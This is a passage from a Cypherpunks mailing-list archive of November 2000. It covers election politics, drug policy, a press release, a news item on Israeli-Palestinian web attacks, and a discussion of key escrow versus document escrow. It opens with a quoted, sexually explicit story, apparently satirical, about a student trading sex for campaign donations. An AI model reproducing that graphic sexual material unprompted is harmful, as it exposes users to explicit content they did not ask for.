> what I mean? I really got into the messages. I agreed with so > > much of what the candidate and his VP and everybody else had to > > say---I was totally tripping on the atmosphere. I asked M&D if I > > could give $1000 of my savings account to the campaign, and they > > must have been tripping too, because they said yes. > > > > Silly me, I thought that once you give a thousand dollars, that's > > it. But when I turned in the check, the boy who took it asked if > > I wanted to match my contribution with another thousand dollars > > to the party. That's the "soft money" that McCain was talking > > about. When I told him that I didn't think I could afford any > > more, he said "ok," but that I might want to go out fund raising, > > to see if I could get anybody else to contribute. > > > > This is then when I had my---oh, let's call it a revelation. We > > were at this after-hours party the night before the last night of > > the convention, and lots of people---M&D included---were trashed > > off their asses. Personally, I was soberer than sober. So this > > slick-ass middle-aged man in a suit comes up to me and asks me > > what I'm doing there, who I'm with, blah blah blah. We start > > talking, and he's all impressed with my intelligence and > > education and tan and my Prada minidress. So I tell him that I > > just contributed $1000 and he's all super-impressed with me. > > > > So the guy gets really close to me and murmurs something to the > > effect of: "How would you like to contribute another $1000?" He > > said that he had to contribute $5000 to get into the party, and > > that they were expecting him to contribute another $5000 the next > > day. He said that if I let him kiss me, he would increase his > > donation to $6000. > > > > Wow. > > > > I got all warm and uncomfortable all of a sudden. I'm sure I was > > blushing. I didn't know what to do. And he said, "what's the > > harm? This campaign is very important to you. It's important to > > me. They need my money. I want to kiss you. A thousand dollars > > for our team." > > > > "You would give them an extra thousand dollars, just for a kiss?" > > I said. > > > > "Well, I was hoping that you would also come back to my hotel > > room with me," he said, with a sly smile on his face. > > > > Right. "My folks are around," I whispered back. "They'll wonder > > where I am." > > > > "Fine. A stolen kiss in an empty corner it is," he said. He > > looked pretty disappointed. "$100 work for you?" > > > > I was imagining trying to kiss him. To tell the truth, he didn't > > look that bad. But I felt like he was changing the bargain. "I > > thought you said a thousand dollars." > > > > "Yeah, I guess I did. How about $250?" > > > > I nodded and smiled, and we left the big party and went into this > > little conference room with the lights out, and he flipped me > > over like a movie star and gave me this long, slurpy, oops-I' > > m-accidentally-rubbing-your-tits-aren't-I? kiss. Then he took > > out his checkbook, wrote out a $250 check to the National > > Committee, and gave it to me. > > > > Wow, I thought. That was pretty easy. I felt like I had given > > blood or something---drained but exhilarated. > > > > So the next day, while everyone was all at their little parties > > before the Boys were supposed to make their speeches, this other > > older guy comes up to me. > > > > "Hello," he says, with this little dancing school bow. "You must > > be Xanna." > > > > "Yeah." I say a little suspiciously, because today I'm not all > > tarted up in Prada or anything. > > > > He smiles this weird smile. "You are, I assume, the young virgin > > ready to serve her country?" > > > > I'm thinking, who the hell are you, asking me if I'm a virgin or > > not, and then I get it. "Oh, did Jim tell you about me?" > > > > "He did. My pockets aren't as deep as Jim's, I'm afraid. But I'm > > wondering how much money I could give the Party if you would put > > your hands in them?" > > > > Oh my God, I think. Like my brain can't quite process what this > > all means, but I say, "$500." > > > > He looks at me again. "What if you would. as you young people > > put it.blow me?" > > > > I say, "Spit or swallow?" > > > > He says: "Price is no object." > > > > I say, doing the math, "One-thousand spit. Two thousand > > swallow." > > > > "Spit." > > > > So I do. We go looking around the convention center for a quiet > > place, but we can't find anything. I'm getting ready to give > > up --- perhaps I really don't want to do this --- when he finds > > one of those handicap bathrooms, you know, the kind with a single > > toilet and a door that locks? We go inside, he locks the door, > > and he can barely get his pants down, he's so hard. I mean, he > > almost loses it the moment I touch him. Let me tell you, this guy > > was no different from the undergrads in my dorm. And the guy > > feels so bad about it, hitting my dress, just like Bill and > > Monica -- that he ends up writing a $1500 check to the National > > Committee. (He offered to give me $100 for the dry-cleaning, but > > I told him that I wouldn't take the money.) > > > > At this point I was totally grossed out but filled with, what, > > this kind of patriotic fervor. I can't tell you how loud I > > cheered that night when Our Boys finally got onto the podium and > > accepted the nomination. > > > > The second I get back to school I signed up for the Election > > Events committee, which handles the campus organization, the > > get-out-the-vote, and such. But it was all so removed. So I went > > down to the state party headquarters at the capital. They wanted > > me to stuff envelopes and make phone calls --- until I told them > > that I had raised $2000 in soft money in two nights by attending > > parties and flirting with VIPs. That did the trick. I got added > > as a special guest to all of the mailing lists, parties, and > > special events until the election. It was sort of a tacit > > agreement --- I could go to all of the cool events, as long as I > > could keep the donations coming in. > > > > Now Kim, don't get me wrong --- the state party never explicitly > > endorsed the idea of trading blowjobs or a quickie for campaign > > contributions. They just know that I'm very good at what I do. I > > get to go to all of the exciting parties. I get to taste all of > > the amazing food, drink all of the expensive drinks (nobody cards > > me), and get to meet all of those important people. And they get > > their contributions. There's a reason that our state is up 200% > > over the record that we set in '96. > > > > Some of the guys try to pay me personally, but I don't let them. > > That would make me a whore, you know? And one guy kept calling > > me, trying to see if we could get together again. I told him that > > we couldn't do that, or else people might get suspicious. > > Besides, this is about being part of the political process, isn't > > it? It's my responsibility to get as money from as many people as > > possible, rather than concentrating on a few big spenders. > > > > The sex? I admit I get into it sometimes. A lot of these guys, > > they're really good in bed. You wouldn't believe it. I try not > > to fake orgasms, and what's really cool is a not insignificant > > amount of time I don't even have to. I mean, most of these guys > > act like it's their responsibility to get me off. I wish that > > more of the guys in my dorm felt that way! > > > > I'm really strict about my guidelines. We meet. We fuck or > > whatever. They write out the checks. I leave. At first I was > > pretty naïve and I was willing to go along and pretend that I was > > their daughter's roommate or their son's girlfriend, but I > > finally decided that I just couldn't do that --- not that it > > doesn't stop them from asking. I also won't get tied up, or tie > > them up. And if it's too gross to even mention it here, I won't > > do it either. One guy wanted me to have sex with him in front of > > his wife --- no way, I told him. Remember that line about > > "plausible deniability?" Right. And I got offered $10K to do > > something that I'd never even heard of before. I thought Our > > Boys wouldn't approve, so I said no. > > > > Some guys want to fuck me and have, like, political discourse at > > the same time. They're not paying for sex, they're paying for > > politics, right? And they have to prove it or something? And > > then I was sitting on top of this man who wanted me to answer a > > lot of political questions for him, and every time I gave him my > > opinion he got more and more excited, until finally I said > > something about strategic tax breaks and he.well I won't say it > > here. It's not nice. > > > > Oh yeah. That reminds me. They always have to use a condom. A > > lot of them are so old they don't know about safer sex. And then > > some of them really want to fool around in my dorm room because > > it reminds them of their own politically active college days. > > Like, meet a girl, talk heavy politics with her, then take her > > home and nail her? It's sort of sweet of them, actually. But > > there would be too many witnesses. > > > > And no, I've never fallen for any of my contributors. There was > > this one guy --- a CEO from California who was in town for some > > reason --- who asked me to marry him. I said, No deal---no > > matter how the election turns out. > > > > I had to go through midterms like this. But luckily the > > fundraisers and whatnot are winding down, and honestly, I'm very > > tired. Tired of putting on my best clothes all the time. Tired > > of having them ask me if "Xanna" is my real or my "professional" > > name. I'm not a professional! I haven't made a cent off this! > > But Our Boys have pulled in nearly $100,000 since this summer. > > So every time I see a full-page newspaper ad for my causes or a > > really spiffy TV ad, I know that I've done my bit. > > > > > > > From carskar at netsolve.net Wed Nov 1 10:14:31 2000 From: carskar at netsolve.net (Carskadden, Rush) Date: Wed, 1 Nov 2000 12:14:31 -0600 Subject: CDR: RE: California bars free speech of those cutting deals on votes Message-ID: <59816DD7DAE9D11184E400104B66A353055547BE@cobra.netsolve.net> -----Original Message----- From: Tim May [mailto:tcmay at got.net] Sent: Wednesday, November 01, 2000 10:35 AM To: cypherpunks at algebra.com Subject: Re: California bars free speech of those cutting deals on votes > In the interest of full disclosure, I should say that I'm bouncing > between voting for Bush as a "do the least damage" (on gun issues, > tax issues, foreign affairs, etc.) and voting for Browne of the LP on > "feelgood" issues. > (In that I'll feel better in coming years being able to think to > myself: "I didn't vote for that Bush clown...I voted my principles!") > However, as any vote is of marginal importance, as with the > amelioration issue you mention, I'm still undecided. Needless to say, > neither Gore nor Nader are in my universe of choices, however. > --Tim May Well whatever you do, don't look for wise advice from this list. Merely trying to get some helpful points of view may result in Declan giving you a verbal body slam. I know, I'm in the same position that you are, and I foolishly looked for OTHER people's opinions, as opposed to thinking that I had it all figured out. The thing I may have learned, though, is that there is strength in being completely pragmatic, and there is strength in relentless dedication to your convictions, but being a wishy washy debating idealist will get you run over. What I am attempting to do now is be SURE of what I am going to do, so that I can vote with some confidence, because a half-hearted fight for what I want isn't much of a fight at all. ok, Rush -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: text/html Size: 2422 bytes Desc: not available URL: From jimdbell at home.com Wed Nov 1 12:29:11 2000 From: jimdbell at home.com (jim bell) Date: Wed, 1 Nov 2000 12:29:11 -0800 Subject: CDR: Re: California bars free speech of those cutting deals on votes References: Message-ID: <005901c04442$655e8f00$a6d11018@vncvr1.wa.home.com> ----- Original Message ----- From: Tim May Subject: RE: California bars free speech of those cutting deals on votes > At 1:14 PM -0500 11/1/00, Trei, Peter wrote: > >I think one other state has a similar proposition this year, and > >another (New Mexico?) has had a similar law in place for a > >while, to great success. > > California passed the Medical Marijuana Initiative (more than once, > as I recall, as the Fedgov found "technicalities" to strike it down > the first time it passed). > > No "interstate commerce" is involved (*), for most home-grown pot, > and yet the Fedgov has asserted the claim that federal dietary laws > take precedence over local dietary laws. What I'd like to see is for a state, any state, to apply some sort of "100% State Income Tax for People engaged in violating the right of citizens to make and use pot [for medicinal reasons, etc]." In other words, any Fed participating in such a case would lose his yearly salary, guaranteed. I'm wondering if there are any legal impediments to this. Feds don't normally claim immunity from local and state laws, or taxes, etc. The tax isn't on the enforcement of Federal laws: It would simply be a separate income tax on people who happen to do this. Obviously, a Fed must pay state income tax on income from his (Fed) job; the only issue is how high those taxes are. Change that number from, say, 10% to 100% and that solves the problem. It would be unusual for the tax rate to be determined by source of income, but there should be plenty of precedent for things like tax credits conditional on a person's behavior. Assuming the state Constitution doesn't explicitly prohibit setting a discriminatory tax rate this should "fly" if the state had the guts to do this. Jim Bell > > (* As we know, the interstate commerce clause was oriented toward > making sure that only the Federal government could imposes tariffs on > goods moving between the states. This was to head off a flurry of > opportunisitc tariffs imposed by the states. It had _nothing_ to do > with the notion that if a book publisher, for example, ships books > across state lines that the Federal government then has some means to > regulate the content. This seems to be commonly misunderstood; not by > Cypherpunks, but I'm repeating this just to make sure.) > > If these United States were functioning as intended, this and similar > cases would go to the Supreme Court and the Court would find that the > states cannot be told what to by the Fedgov in matters like this. > > But we have not been functioning as intended for most of the past century. > > > --Tim May > -- > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > "Cyphernomicon" | black markets, collapse of governments. > From ptrei at rsasecurity.com Wed Nov 1 10:14:52 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Wed, 1 Nov 2000 13:14:52 -0500 Subject: CDR: RE: California bars free speech of those cutting deals on votes Message-ID: > Bill Stewart[SMTP:bill.stewart at pobox.com] > > At 09:48 AM 11/1/00 -0500, Trei, Peter wrote: > >All indications are that Carla Howell, the Libertarian challenger for > >Kennedy's Senate seat, will handily out-poll the Republicans this year. > > I really like Carla - hope she does well. You'll probably also have > a lot of Greens and liberal Democrats voting for Nader, which would be > good except they're partly doing it for the campaign finance porkbarrel. > > Massachusetts looks like the kind of state that has > more pot smokers than registered Republicans. > Somebody ought to be able to use that.... > > Bill > Somebody is. Prop 8 would allow drug offenders (including low level dealers) to opt for treatment over prison, and would require all fines, seized funds, and profits from the sale of stolen^H^H^H^H^H^Hforfeited property in drug cases to be used to finance treatment. I think one other state has a similar proposition this year, and another (New Mexico?) has had a similar law in place for a while, to great success. Needless to say, the police chiefs and DAs are worried that their profits will be eroded, and oppose it. Since the national and state wide candidates' races are non-issues in MA, most of the campaigning I've seen has been for and against the various ballot measures. For details, see: http://www.state.ma.us/sec/ele/elebq00/bq008.htm Peter Trei From phaedrus at sdf.lonestar.org Wed Nov 1 11:42:18 2000 From: phaedrus at sdf.lonestar.org (Phaedrus) Date: Wed, 1 Nov 2000 13:42:18 -0600 (CST) Subject: CDR: Re: California bars free speech of those cutting deals on votes In-Reply-To: Message-ID: On Wed, 1 Nov 2000, Tim May wrote: > However, as any vote is of marginal importance, as with the > amelioration issue you mention, I'm still undecided. Needless to say, > neither Gore nor Nader are in my universe of choices, however. I'm making a somewhat wild assumption that you're voting in California -- as am I. As far as I can tell, Gore is going to take california, so by my reasoning I'm free to vote with my conscience, since a vote for either bush or gore wouldn't make a difference in this case. If you haven't already you might want to consider that point (and do the research yourself to back it up or disprove it -- don't take my word for it). Ph. From dakin at nationalpost.com Wed Nov 1 10:00:35 2000 From: dakin at nationalpost.com (dakin at nationalpost.com) Date: Wed, 1 Nov 2000 14:00:35 -0400 Subject: CDR: FWD: [press release[ In-Reply-To: <31.be2fb63.2730a047@aol.com> References: <31.be2fb63.2730a047@aol.com> Message-ID: ------- The Executive Office Of The President Of The United States Deploys Kasten Chase's RASP Secure Access RESTON, Virginia--(BUSINESS WIRE)--Nov. 1, 2000--Kasten Chase (TSE:KCA. - news), a leading supplier of high-assurance data security systems, today announced that it has supplied RASP Secure Access to the Executive Office of the President of the United States. The company is unable to disclose any further information regarding the sale under the terms of the agreement. [more at: http://ca.biz.yahoo.com/bw/001101/va_kasten_.html ] ----- And now a question for you Americans on the list: The CIA is Langley; the NSA HQ is in Fort Meade, Maryland -- what agency has headquarters in Reston, Va? Thanks. David Akin / Senior technology Reporter National Post / dakin at nationalpost.com AOL Instant Messenger: DavidAkin2 VOX: 416.383.2372 / FAX: 416.383.2443 300-1450 Don Mills Road Don Mills / Ontario / CANADA / M3B 3R5 From dakin at nationalpost.com Wed Nov 1 10:08:50 2000 From: dakin at nationalpost.com (dakin at nationalpost.com) Date: Wed, 1 Nov 2000 14:08:50 -0400 Subject: CDR: FWD: [press release] Kasten Chase to supply U.S. prez . . . Message-ID: ------- The Executive Office Of The President Of The United States Deploys Kasten Chase's RASP Secure Access RESTON, Virginia--(BUSINESS WIRE)--Nov. 1, 2000--Kasten Chase (TSE:KCA. - news), a leading supplier of high-assurance data security systems, today announced that it has supplied RASP Secure Access to the Executive Office of the President of the United States. The company is unable to disclose any further information regarding the sale under the terms of the agreement. [more at: http://ca.biz.yahoo.com/bw/001101/va_kasten_.html ] ----- And now a question for you Americans on the list: The CIA is Langley; the NSA HQ is in Fort Meade, Maryland -- what agency has headquarters in Reston, Va? Thanks. David Akin / Senior technology Reporter National Post / dakin at nationalpost.com AOL Instant Messenger: DavidAkin2 VOX: 416.383.2372 / FAX: 416.383.2443 300-1450 Don Mills Road Don Mills / Ontario / CANADA / M3B 3R5 From dakin at nationalpost.com Wed Nov 1 10:37:50 2000 From: dakin at nationalpost.com (dakin at nationalpost.com) Date: Wed, 1 Nov 2000 14:37:50 -0400 Subject: CDR: FWD: [press release] Kasten Chase to supply U.S. prez . . . Message-ID: ------- The Executive Office Of The President Of The United States Deploys Kasten Chase's RASP Secure Access RESTON, Virginia--(BUSINESS WIRE)--Nov. 1, 2000--Kasten Chase (TSE:KCA. - news), a leading supplier of high-assurance data security systems, today announced that it has supplied RASP Secure Access to the Executive Office of the President of the United States. The company is unable to disclose any further information regarding the sale under the terms of the agreement. [more at: http://ca.biz.yahoo.com/bw/001101/va_kasten_.html ] ----- And now a question for you Americans on the list: The CIA is Langley; the NSA HQ is in Fort Meade, Maryland -- what agency has headquarters in Reston, Va? Thanks. David Akin / Senior technology Reporter National Post / dakin at nationalpost.com AOL Instant Messenger: DavidAkin2 VOX: 416.383.2372 / FAX: 416.383.2443 300-1450 Don Mills Road Don Mills / Ontario / CANADA / M3B 3R5 From ptrei at rsasecurity.com Wed Nov 1 11:43:52 2000 From: ptrei at rsasecurity.com (Trei, Peter) Date: Wed, 1 Nov 2000 14:43:52 -0500 Subject: CDR: RE: [press release[ Message-ID: > ---------- > dakin at nationalpost.com[SMTP:dakin at nationalpost.com] > And now a question for you Americans on the list: > > The CIA is Langley; the NSA HQ is in Fort Meade, Maryland -- what > agency has headquarters in Reston, Va? > > Thanks. > > David Akin > USGS NIMA (US Geological Survey, National Imagery and Mapping Agency) is the only one I know of that is actually in Reston. There are others in the region, such as NRO (actually in Chantilly). Peter Trei PS: Don't use the toad.com address. From jburnes at savvis.net Wed Nov 1 12:47:28 2000 From: jburnes at savvis.net (Jim Burnes) Date: Wed, 1 Nov 2000 14:47:28 -0600 Subject: CDR: Re: California bars free speech of those cutting deals on votes In-Reply-To: <3eb771bea414be67e96fd615ac67f388@remailer.privacy.at> References: <3eb771bea414be67e96fd615ac67f388@remailer.privacy.at> Message-ID: <00110114472809.17632@reality.eng.savvis.net> On Wed, 01 Nov 2000, you wrote: > Tim May wrote: > > (In that I'll feel better in coming years being able to think to > > myself: "I didn't vote for that Bush clown...I voted my principles!") > > > > However, as any vote is of marginal importance, as with the > > amelioration issue you mention, I'm still undecided. Needless to say, > > neither Gore nor Nader are in my universe of choices, however. > > Aside from whatever emotional gains you might make by voting for Browne on > grounds of principle, that action has the added (albeit marginal) benefit > of increasing Libertarian party legitimacy in the public eye. > > Admittedly, a single vote will have no effect on percentages in a national > election, but in the local arena, helping the party achieve 5% or even 1% > of the vote will frequently secure ballot access next time around. The real question is whether, given the current policital system, Libertarians that are elected would not be corrupted by the same influences before making any substantial gains. As much as I generally respect what Harry Browne says, I dontated money to his campaign only to see it squandered on expensive DC consultants who were 'friends of the party'. Nary a penny made it to drive-time radio ads, which are by far the most cost effective communication medium for reaching voters. Radio is cheap and hot. When was the last time you heard a Libertarian sentiment on radio (except talk radio). The closest I've heard are the "Vote Freedom" ads by Charleton Heston. Sad that the generic NRA ads speak louder for libertariansism than our best blood, sweat and tears efforts. Hats off to CH and NRA for those ads, even though I'm still pissed about the instant background check bullshit. Next time I want to excercise my right to free speach lets see if I need an instant background check. That particular compromise enabled the FBI to stop all gun sales by simply bringing down the database. (Not to mention unconstitutionally keep all records, making it a de-facto registration system.) jim From CustomerService at exotrope.net Wed Nov 1 11:48:33 2000 From: CustomerService at exotrope.net (CustomerService at exotrope.net) Date: Wed, 1 Nov 2000 14:48:33 -0500 Subject: No subject Message-ID: <0158b33481901b0CC@cc.exotrope.com> From CustomerService at exotrope.net Wed Nov 1 11:54:48 2000 From: CustomerService at exotrope.net (CustomerService at exotrope.net) Date: Wed, 1 Nov 2000 14:54:48 -0500 Subject: No subject Message-ID: <027a649541901b0CC@cc.exotrope.com> From anonymous at openpgp.net Wed Nov 1 11:55:18 2000 From: anonymous at openpgp.net (anonymous at openpgp.net) Date: Wed, 1 Nov 2000 14:55:18 -0500 Subject: CDR: e-jihad Message-ID: <0344fcebe9865d240fd58df977344037@mixmaster.ceti.pl> EXPERTS FEAR CYBERWARS SPREAD Tuesday,October 31,2000 By NILES LATHEM The growing electronic war between Israeli and pro-Palestinian hackers threatens to shut down large portions of the Internet, government and industry, experts warned last night. The FBIs National Infrastructure Protection Center, the agency that combats cybercrimes, recently sent out an advisory warning that the tit-for-tat attacks that have shut down and defaced Israeli government and Hezbollah and Hamas Web sites in the last month could "spill over," into the United States. "Due to the credible threat of terrorist acts in the Middle East region and the conduct of these Web attacks, users should exercise increased vigilance to the possibility that U.S. government and private-sector Web sites may become potential targets," the FBI advisory said. "In recent days, the overall threat condition for U.S. military forces in the Middle East has increased due to new credible threats of terrorist acts in the region. Similarly NIPC views the current conditions as creating the possibility for related cyberattack activity against U.S. sites," it said. The cyberwar, or "e-Jihad" as the Palestinian side calls it, began earlier this month, when the Israeli-Palestinian conflict exploded. Sophisticated Israeli hackers defaced a Hezbollah Web site that was trying to incite anti-Israel violence among Palestinians. The attacks escalated when Islamic militants based in Lebanon, London and the United States set up special "attack Web sites," in which users could send special jamming software via e-mail. The attacks shut down top Israeli government Web sites for days. ATT, which helped Israeli sites get back online, has become a recent target, according to recent message traffic from the Palestinian side. Ben Venzke, an intelligence analyst for the Virginia-based iDefense, a computer security firm that is tracking the cyberwar, said hackers going by the names Dodi, ReAList and Nir-MN are turning to increasingly sophisticated programs and are now threatening to unleash devastating viruses and software. http://www.nypostonline.com/news/14989.htm From reinhold at world.std.com Wed Nov 1 11:57:14 2000 From: reinhold at world.std.com (Arnold G. Reinhold) Date: Wed, 1 Nov 2000 14:57:14 -0500 Subject: Paranoid Encryption Standard (was Re: Rijndael & Hitachi) In-Reply-To: <4.1.20001028204425.009b9280@pop.ix.netcom.com> References: <59816DD7DAE9D11184E400104B66A3530555479E@cobra.netsolve.net> <59816DD7DAE9D11184E400104B66A3530555479E@cobra.netsolve.net> <4.1.20001028204425.009b9280@pop.ix.netcom.com> Message-ID: At 9:16 PM -0400 10/28/2000, John Kelsey wrote: > >I'll comment more on this from another note of yours. I >think you're probably right, but that we need to figure out >how to really nail that argument down, which means >specifying exactly what's meant by ``close to an inverse,'' >or whatever. I have some ideas on this, based on the earlier note, but I think I should take some time and write them up more formally. Arnold Reinhold From honig at sprynet.com Wed Nov 1 12:56:56 2000 From: honig at sprynet.com (David Honig) Date: Wed, 1 Nov 2000 15:56:56 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: References: <4.3.0.20001031100154.01638920@mail.well.com> Message-ID: <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> At 12:13 PM 10/31/00 -0500, Tim May wrote: >How about: > >-- no key escrow, no split keys, no trusted third parties I don't see any way around the fact that some companies will want to have key escrow of some form for employees who disappear, e.g., car accident, pickpocket stole the key-carrier, etc. I think companies will want this because of the risks of financial damage to the company. Although its hazardous if done wrong [cf recent PGP problems], is tarnished by the Fedz/Denning/etc, and might have no use in a personal privacy tool (your diary dies with you), isn't it too dogmatic to rule out key escrow for tools intended for use by groups? Are there equivalent methods which don't use escrowed keys, which I am unaware of? Strong crypto means the employee can put an invincible lock on the corporate file cabinet. This might mean that invincible locks are not used in corporations. A corporation might require that any invincible physical locks be used in series, so the corp can get into the files if the first lock stays locked. That doesn't seem wrong to me; and in meatspace two locks in series is obvious and no compromise is made to either lock's design. Maybe no escrow per se, but corp. data is duplicated and each copy is encrypted by a person's bizkey and the corporate shared key for that person. Locks in series. (Now, it may be 'sad' that ZKS has changed its bizmodel to service businesses that need locks in series, but I'm only interested in whether its rational to universally denounce any locks-in-series architectures.) >The "relevant legislation" language is the real kicker. Though this was elaborated on in a later reply, they really do need to specify what they mean exactly (re Canada & 'consumer privacy') when they say the nasty l-word in their public literature. Any mention of the law in crypto lit turns the stomache, puts the scanners on highest sensitivity. From bwphilli at cisco.com Wed Nov 1 16:11:33 2000 From: bwphilli at cisco.com (Brian Phillips) Date: Wed, 01 Nov 2000 16:11:33 -0800 Subject: CDR: Implementing DSA in HArdware Message-ID: <3A00B135.FF7E283F@cisco.com> I am implementing DSA in Hardware and I was wondering if anyone knows about implementing very large dividers and multipliers in hardware. I am talking 160 bit here. Any help is appreciated. Thanks, Brian From ericm at lne.com Wed Nov 1 13:20:31 2000 From: ericm at lne.com (Eric Murray) Date: Wed, 1 Nov 2000 16:20:31 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <3.0.6.32.20001101093858.007e9420@pop.sprynet.com>; from honig@sprynet.com on Wed, Nov 01, 2000 at 03:56:56PM -0500 References: <4.3.0.20001031100154.01638920@mail.well.com> <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> Message-ID: <20001101131925.I724@slack.lne.com> On Wed, Nov 01, 2000 at 03:56:56PM -0500, David Honig wrote: > > At 12:13 PM 10/31/00 -0500, Tim May wrote: > >How about: > > > >-- no key escrow, no split keys, no trusted third parties > > I don't see any way around the fact that some companies will want to have > key escrow of some form for employees who disappear, e.g., car accident, > pickpocket stole the key-carrier, etc. I think companies will want this > because of the risks of financial damage to the company. > > Although its hazardous if done wrong [cf recent PGP problems], is > tarnished by the Fedz/Denning/etc, and might have no use in a personal > privacy tool (your diary dies with you), isn't it too dogmatic to rule out > key escrow for tools intended for use by groups? > > Are there equivalent methods which don't use escrowed keys, which I > am unaware of? I beleive it was Eric Hughes who at a Cypherpunks meeting about four years ago, said "the solution isn't key escrow, it's document escrow". Which makes sense- a business doesn't (or shouldn't) allow employees to keep a single copy of an important document on their hard drive. It should be replicated in other known places in case of disaster (drive failure, stolen computer, employee hit by bus, etc). Just because documents are encrypted doesn't mean that this practice is abandoned. One can envision a system where there's a corporate "document czar" who is regularly given docs from various employees and who then encrypts them in his own key. When and where the docs get decrypted is determined by corporate policies. No key escrow required. I don't know of any existing system like this, but formal corporate document control isn't my field. -- Eric Murray Consulting Security Architect SecureDesign LLC http://www.securedesignllc.com PGP keyid:E03F65E5 From tcmay at got.net Wed Nov 1 13:34:34 2000 From: tcmay at got.net (Tim May) Date: Wed, 1 Nov 2000 16:34:34 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <3.0.6.32.20001101093858.007e9420@pop.sprynet.com> References: <4.3.0.20001031100154.01638920@mail.well.com> Message-ID: At 3:56 PM -0500 11/1/00, David Honig wrote: >At 12:13 PM 10/31/00 -0500, Tim May wrote: >>How about: >> >>-- no key escrow, no split keys, no trusted third parties > >I don't see any way around the fact that some companies will want to have >key escrow of some form for employees who disappear, e.g., car accident, >pickpocket stole the key-carrier, etc. I think companies will want this >because of the risks of financial damage to the company. Indeed, and this is a very good use for company attorneys! Or other company officers. If one is concerned that the company lawyer will use the key improperly, split the key. Or place it in a fireproof safe with dual-key access, then distribute the physical keys suitably. Or, more simply, drop the disks with the spare keys in an envelope, seal it, and place it in the safe of the company officers or attorneys. Off site, split, whatever. This is an old problem, solved long ago. I'm sure there is some role for privately-arranged (that is, not government-required) holding of critical keys, just as there is for critical documents stored in old mercury mines (as Intel did at the old New Almaden Mine in the Santa Cruz Mountains). As I said, well-solved. > >Although its hazardous if done wrong [cf recent PGP problems], is >tarnished by the Fedz/Denning/etc, and might have no use in a personal >privacy tool (your diary dies with you), isn't it too dogmatic to rule out >key escrow for tools intended for use by groups? I've never said there is *no* role for safe alternate storage of keys. See above, and se my past comments on legitimate use of backup options. Most of us likely use some form of key backup. Building in transparent key escrow with "trusted third parties" is dangerous, however. Remember that the British model for "trusted third parties" did not include free choice of who those third parties were, but, rather, were limited to Officially Approved TTPs. The whole approach of the Authorities has been to mandate access to encrypted data. The ZKS plan speaks of regulatory conformance...this is what is inimical to our goals. > >Strong crypto means the employee can put an invincible lock on the >corporate file cabinet. This might mean that invincible locks are >not used in corporations. A corporation might require that any >invincible physical locks be used in series, so the corp can get into the >files if the first lock stays locked. That doesn't seem wrong >to me; and in meatspace two locks in series is obvious and no compromise >is made to either lock's design. Sounds fair to me. See above. What companies or individuals do is their concern, not mine, and not government's. --Tim May -- ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 831-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, "Cyphernomicon" | black markets, collapse of governments. From honig at sprynet.com Wed Nov 1 13:48:37 2000 From: honig at sprynet.com (David Honig) Date: Wed, 1 Nov 2000 16:48:37 -0500 Subject: CDR: Re: California bars free speech of those cutting deals on votes In-Reply-To: <005901c04442$655e8f00$a6d11018@vncvr1.wa.home.com> References: Message-ID: <3.0.6.32.20001101134605.007f9360@pop.sprynet.com> At 03:29 PM 11/1/00 -0500, jim bell wrote: >What I'd like to see is for a state, any state, to apply some sort of "100% >State Income Tax for People engaged in violating the right of citizens to >make and use pot [for medicinal reasons, etc]." Actually you can sue a government official (cop, clerk, etc) who violates your rights knowingly, and under 'color of authority'. The trick is convincing a jury that it was suitably malicious and obvious violation. E.g., false arrest because you look like a suspect won't cut it almost always. BTW, Calif is the 'other' state to have a proposition this year to dissolve the 'drug court' infrastructure and replace it with a medical (vs punitive) structure. Needless to say, the drug-court-workers don't like the possibility of taking their teat away. Interestingly, Tom Cambell (R from San Jose) who is running against Feinswine supports this proposition, and the Swine doesn't. Cambell also doesn't want to do Vietnam in Columbia, and the Swine does. Interesting reversal, eh? From honig at sprynet.com Wed Nov 1 13:48:38 2000 From: honig at sprynet.com (David Honig) Date: Wed, 1 Nov 2000 16:48:38 -0500 Subject: CDR: nsa watch Message-ID: <3.0.6.32.20001101130255.007ea5d0@pop.sprynet.com> from elsewhere: FORMER NSA EMPLOYEES LAUNCH CYBER SECURITY BUSINESS http://www.redherring.com/vc/2000/1019/vc-spies101900.html MEANWHILE, NSA SEEKS NEW EMPLOYEES ON-LINE. (submitted by Jeremy Compton) http://www.nsa.gov/programs/employ/index.html From tcmay at got.net Wed Nov 1 13:53:09 2000 From: tcmay at got.net (Tim May) Date: Wed, 1 Nov 2000 16:53:09 -0500 Subject: CDR: Re: Zero Knowledge changes business model (press release) In-Reply-To: <20001101131925.I724@slack.lne.com> References: <4.3.0.20001031100154.01638920@mail.well.com> Message-ID: At 4:20 PM -0500 11/1/00, Eric Murray wrote: >On Wed, Nov 01, 2000 at 03:56:56PM -0500, David Honig wrote: > > > Are there equivalent methods which don't use escrowed keys, which I > > am unaware of? > >I beleive it was Eric Hughes who at a Cypherpunks meeting about four >years ago, said "the solution isn't key escrow, it's document escrow". >Which makes sense- a business doesn't (or shouldn't) allow employees >to keep a single copy of an important document on their hard drive. >It should be replicated in other known places in case of disaster (drive >failure, stolen computer, employee hit by bus, etc). Just because >documents are encrypted doesn't mean that this practice is abandoned. > >One can envision a system where there's a corporate "document czar" who >is regularly given docs from various employees and who then encrypts them >in his own key. When and where the docs get decrypted is determined by >corporate policies. No key escrow required. Exactly. A pity we can't easily draw pictures here in mailinglistspace. If we were at a blackboard, we could easily see that the issue of encryption is clearly partitioned thusly: * Alice's files, stored on her local computer or file repository. Maybe in plaintext, maybe in encrypted form. * Files in transit between Alice's site and Bob's site. These should at the very least be link-encrypted, and possibly end-to-end encrypted with PKS tools. Forward secrecy is also good, so that the transit keys can't be recovered. * And then of course the files at Bob's computer, in plaintext or encrypted. Or, more simply, files at sites and files in transit. Alice may have partners or bosses who have rules about how she leaves the files on her machine, encrypted or not encrypted, backed-up or not backed-up. But her storage 